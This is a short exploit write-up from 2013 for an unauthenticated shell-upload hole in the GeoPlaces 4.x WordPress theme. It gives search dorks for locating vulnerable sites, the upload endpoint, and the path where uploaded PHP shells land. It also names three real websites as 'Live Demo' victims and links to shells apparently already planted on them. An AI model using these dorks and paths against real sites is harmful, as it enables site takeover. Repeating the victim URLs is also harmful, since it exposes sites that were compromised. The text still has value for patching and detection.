#Title : Wordpress GeoPlaces 4.x Themes Shell Upload Vulnerabillity
#Author : DevilScreaM
#Date : 10/24/2013
#Category : Web Applications
#Type : PHP
#Version : 4.x
#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security
Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber
#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |
#Vulnerabillity : Shell Upload
#Dork :
inurl:wp-content/themes/geoplaces4/
inurl:wp-content/themes/GeoPlaces4beta/
Exploit & POC
http://site-target/wp-content/themes/GeoPlaces4beta/monetize/upload/
Result Upload
http://site-target/wp-content/uploads/[years]/[months]/[Find_your_shell].php
Click Browse, And Choose your shell..
Live Demo :
http://novalocal.com/wp-content/themes/GeoPlaces4beta/monetize/upload/
http://icollec.com/wwAgendascope/wp-content/themes/GeoPlaces4/monetize/upload/
http://gpsys.com.br/curta/wp-content/themes/GeoPlaces4.3/monetize/upload/
Result :
http://novalocal.com/wp-content/uploads/2013/10/13826076391235083424.php
http://icollec.com/wwAgendascope/wp-content/uploads/2013/10/13826080342139189430.php
http://gpsys.com.br/curta/wp-content/uploads/2013/10/1382608315784907842.php
